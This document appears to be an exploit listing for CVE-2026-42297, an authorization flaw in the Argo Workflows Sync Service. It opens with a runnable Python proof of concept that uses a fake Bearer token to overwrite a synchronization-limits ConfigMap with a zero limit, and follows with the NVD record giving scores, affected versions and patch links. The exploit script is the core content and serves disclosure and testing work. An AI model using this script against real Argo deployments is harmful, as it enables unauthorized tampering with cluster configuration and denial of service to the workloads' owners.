CVE-2026-42297

import requests # Target Argo Workflows Sync Service API endpoint # Example: https://argo-server.example.com/api/v1/sync/configmaps/sync-limits target_url = "https://<argo-host>/api/v1/sync/configmaps/<configmap-name>" # A fake or stolen Bearer token. The service checks for presence but not validity/authorization for CRUD. malicious_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.fake.token.signature" headers = { "Authorization": f"Bearer {malicious_token}", "Content-Type": "application/json" } # Payload to update the ConfigMap with malicious sync limits payload = { "metadata": { "name": "sync-limits", "namespace": "argo" }, "data": { "limit": "0", "message": "exploited" } } try: # Sending PUT request to update the ConfigMap without proper authorization response = requests.put(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200 or response.status_code == 201: print("[+] PoC Successful: ConfigMap updated/created via authorization bypass.") print(f"[+] Response: {response.text}") else: print(f"[-] PoC Failed: Status code {response.status_code}") print(f"[-] Response: {response.text}") except Exception as e: print(f"[-] Error occurred: {e}")

{"cve": {"id": "CVE-2026-42297", "sourceIdentifier": "[email protected]", "published": "2026-05-09T04:16:25.727", "lastModified": "2026-05-15T19:26:07.863", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Argo Workflows is an open source container-native workflow engine for orchestrating parallel jobs on Kubernetes. From version 4.0.0 to before version 4.0.5, the Sync Service's ConfigMap-backed provider (server/sync/sync_cm.go) performs zero authorization checks on all CRUD operations (create, read, update, delete). Any authenticated user — including those using fake Bearer tokens — can create, read, update, and delete Kubernetes ConfigMaps containing synchronization limits. This issue has been patched in version 4.0.5."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H", "baseScore": 8.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:argoproj:argo_workflows:*:*:*:*:*:go:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "4.0.5", "matchCriteriaId": "675D5F2B-A490-42EB-B1A1-0CE05D2BB4CF"}]}]}], "references": [{"url": "https://github.com/argoproj/argo-workflows/commit/09fff05e0830c14a5e36cc40597ad84881db1ab6", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/argoproj/argo-workflows/security/advisories/GHSA-xchc-cqwg-g76q", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}